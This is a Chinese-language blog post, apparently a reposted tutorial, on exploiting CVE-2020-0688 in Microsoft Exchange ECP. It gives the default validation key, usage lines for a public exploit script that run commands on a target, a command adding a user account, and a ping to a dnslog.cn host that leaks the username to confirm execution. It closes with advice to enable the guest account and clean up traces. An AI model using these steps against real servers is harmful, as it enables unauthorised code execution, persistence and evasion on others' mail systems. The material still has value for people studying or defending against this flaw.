专栏首页乌鸦安全CVE-2020-0688 exchange远程代码执行漏洞

CVE-2020-0688 exchange远程代码执行漏洞

影响版本:

Microsoft Exchange Server 2010 Service Pack 3

Microsoft Exchange Server 2013

Microsoft Exchange Server 2016

Microsoft Exchange Server 2019

漏洞介绍:

所有Exchange Server在安装后的web.config文件中都拥有相同的validationKey和decryptionKey。这些密钥用于保证ViewState的安全性。而ViewState是ASP.NET Web应用以序列化格式存储在客户机上的服务端数据。客户端通过__VIEWSTATE请求参数将这些数据返回给服务器。攻击者可以在ExchangeControl Panel web应用上执行任意.net代码。当攻击者通过各种手段获得一个可以访问Exchange Control Panel (ECP)组件的用户账号密码时。攻击者可以在被攻击的exchange上执行任意代码,直接获取服务器权限。

注意事项:可以访问Exchange Control Panel (ECP)组件的用户,EXP使用的时候不能含有中文路径!!!

准备工作:

--validationkey=CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF(默认,漏洞产生原因)

--validationalg = SHA1(默认,漏洞产生原因)

--generator=B97B4E27(基本默认)

--viewstateuserkey = ASP.NET_SessionId(可以通过手工获取变量,也可以通过脚本模拟用户登录获取该值)

以上4个值中仅需要用户登录之后访问/ecp/default.aspx 界面在header里面获取ASP.NET_SessionId,其余的均为默认值

复现场景:

1. Windows Server 2012 R2 Datacenter

Exchange2013-x64-cu23

2. Windows Server 2012 R2 Datacenter

Exchange2016 15.1.225

Exchange版本号查看方法:

官网给出的版本对照:

https://docs.microsoft.com/zh-cn/Exchange/new-features/build-numbers-and-release-dates?redirectedfrom=MSDN&view=exchserver-2016

在默认登陆界面右键查看源码:

使用方法:

python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u test@exchange2016.com -p !QAZ2wsx -c "cmd /c calc.exe" 在目标机中打开计算器

-s 地址

-u 用户名

-p 用户名密码

-c 命令

python CVE-2020-0688_EXP.py -s https://192.168.1.152 -u temp@exchange2016.com -p !QAZ2wsx -c "cmd /c net user ad !QAZ2wsx /add"

添加新用户ad

注意事项:可以访问Exchange Control Panel (ECP)组件的用户,这一点非常重要!!!

目前GitHub公开的exp利用工具很多都是作者用超级管理员账号进行的测试,但是对于普通用户来说,是无法进行使用的,所以本次复现中使用的exp是一个比较好的利用工具,可直接使用

链接地址:

https://github.com/Yt1g3r/CVE-2020-0688_EXP

关于后渗透阶段:

可参考:

https://www.freebuf.com/company-information/211051.html

1. 判断是否存在漏洞:

在判断是否存在漏洞中,从最初的版本利用来看,可以对未安装cve2020-0688安全补丁的Exchange Server 2013所有版本、Exchange Server 2016(截至2020年3月17日之前的版本)、Exchange Server 2019(截至2020年3月17日之前的版本)有效。在未打补丁的情况下,基本上算是一个通杀。

具体来讲,可以通过以下方式判断:

1)查看版本号和官网的版本进行对比

2)通过普通用户登录之后,访问https://exchnage/ecp/default.aspx

如果默认值为B97B4E27,且在headers中存在ASP.NET_SessionId则可能存在漏洞。

2. 判断存在漏洞的版本是否攻击成功

1)在渗透初期可以使用dnslog来探测命令是否执行成功,示例如下:

首先打开网址:https:dnslog.cn

使用命令如下:

python CVE-2020-0688_EXP.py -s https://192.168.1.160 -u Administrator@exchange2016.com -p !QAZ2wsx -c "cmd /c ping %USERNAME%.3d3uhm.dnslog.cn"

由此可以检测攻击有效。

注意事项:在实际测试中,最好DNSlog服务自行搭建,申请临时域名来测试。

3. 攻击操作

https://www.freebuf.com/company-information/211051.html

可参考以上链接的内容,获取某个用户的密码账号等信息,方法有很多。

最好不要新建用户,可以采用激活guest的方法来,后期也要痕迹清理。

本文分享自微信公众号 - 乌鸦安全(crowsec),作者:crow

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2020-12-04

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 【实战篇】记一次CVE-2020-0688的漏洞利用

    CVE-2020-0688是一个Exchange服务上的漏洞,利用这个漏洞,攻击者可通过Exchange服务上的普通用户权限,在服务器中以SYSTEM权限远程执...

    一名白帽的成长史
  • 【漏洞通告】微软Exchange远程代码执行漏洞(CVE-2020-0688)处置手册

    北京时间2月12日,微软发布2月安全更新补丁,修复了100个安全问题,涉及Internet Explorer、Microsoft Edge、Microsoft ...

    绿盟科技安全情报
  • 细数微软Exchange的那些高危漏洞

    今天,多个安全厂家都发布了微软Exchange多个高危漏洞的通告,涉及漏洞编号CVE-2021-26855、CVE-2021-26857、CVE-2021-26...

    Bypass
  • 黑客最常利用的 30 个安全漏洞

    澳大利亚、英国和美国的情报机构周三发布了一份联合报告,详细介绍了 2020 年和 2021 年最常被利用的漏洞,再次证明了黑客能够迅速将公开披露的漏洞武器化,以...

    C4rpeDime
  • 【安全事件】FireEye遭受APT攻击,红队工具箱被盗

    当地时间12月8日,安全公司FireEye发布博客表示,某个由国家赞助的APT组织盗取了FireEye的红队工具箱。由于暂时无法确定攻击者会自己使用,还是公开披...

    绿盟科技安全情报
  • 【漏洞通告】微软Exchange远程代码执行漏洞(CVE-2020-0688)通告

    北京时间2月12日,微软发布2月安全更新补丁,修复了100个安全问题,涉及Internet Explorer、Microsoft Edge、Microsoft ...

    绿盟科技安全情报
  • NSA公布国内被高频利用的25个漏洞

    美国国家安全局(NSA)发布了一份报告,并公布了25个“中国黑客”在野攻击中利用的漏洞,其中包括已经被修复的知名漏洞。

    FB客服
  • ZDI总结全年最重要的五个漏洞

    在这一年即将结束之际,我们在此回顾一下我们在2020年收到的一些最有意思的漏洞报告。毫无疑问,将今年已报告的1400多个漏洞缩减为只有5个,这绝对是一个相当大的...

    FB客服
  • 【安全更新】微软12月安全更新多个产品高危漏洞通告

    北京时间12月09日,微软发布12月安全更新补丁,修复了59个安全问题,涉及Microsoft Windows、Microsoft Office、Microso...

    绿盟科技安全情报
  • 【漏洞通告】微软9月安全更新多个产品高危漏洞通告

    北京时间9月9日,微软发布9月安全更新补丁,修复了129个安全问题,涉及Microsoft Windows、Internet Explorer、Microsof...

    绿盟科技安全情报
  • 【安全更新】微软11月安全更新多个产品高危漏洞

    北京时间11月11日,微软发布11月安全更新补丁,修复了112个安全问题,涉及Microsoft Windows、Microsoft Office、Micros...

    绿盟科技安全情报
  • 2020护网期间公布漏洞总结-附部分漏洞Poc,Exp

    4.Apache DolphinScheduler远程代码执行漏洞(CVE-2020-11974),危害级别:危急,官方已发布补丁

    Gamma实验室
  • 【漏洞通告】Microsoft Exchange Server远程代码执行漏洞(CVE-2020-16875)通告

    近日,绿盟科技监测到网上有安全人员公开了Exchange Server远程代码执行漏洞(CVE-2020-16875)的利用程序,此漏洞为微软在9月的安全更新补...

    绿盟科技安全情报
  • 【安全更新】微软5月安全更新多个产品高危漏洞通告

    5月12日,微软发布5月安全更新补丁,修复了55个安全漏洞,涉及Windows、Microsoft Office、Exchange Server、Visual ...

    绿盟科技安全情报
  • 【威胁通告】微软更新多个产品高危漏洞威胁通告

    北京时间2月12日,微软发布2月安全更新补丁,修复了100个安全问题,涉及Internet Explorer、Microsoft Edge、Microsoft ...

    绿盟科技安全情报
  • 【漏洞通告】Drupal 远程代码执行漏洞(CVE-2020-13671)

    11月19日,绿盟科技监测到 Drupal 官方发布安全公告修复了 Drupal 远程代码执行漏洞(CVE-2020-13671),由于Drupal core ...

    绿盟科技安全情报
  • 【漏洞通告】WebSphere远程代码执行漏洞(CVE-2020-4534)

    北京时间2020年7月31日,IBM官方发布通告修复了WebSphere Application Server(WAS)中的一个远程代码执行漏洞(CVE-202...

    绿盟科技安全情报
  • 【漏洞通告】Drupal远程代码执行漏洞(CVE-2020-28948/CVE-2020-28949)

    近日,绿盟科技监测到 Drupal 官方发布安全公告修复了 Drupal 远程代码执行漏洞(CVE-2020-28948)与(CVE-2020-28949),请...

    绿盟科技安全情报
  • Egregor勒索软件简要分析报告

    Egregor勒索软件是一款相对较新的勒索软件(最早出现在2020年9月),就目前的发展情况来看,它似乎正在努力成为勒索软件界的Top 1。从使用的代码混淆技术...

    FB客服

扫码关注云+社区

领取腾讯云代金券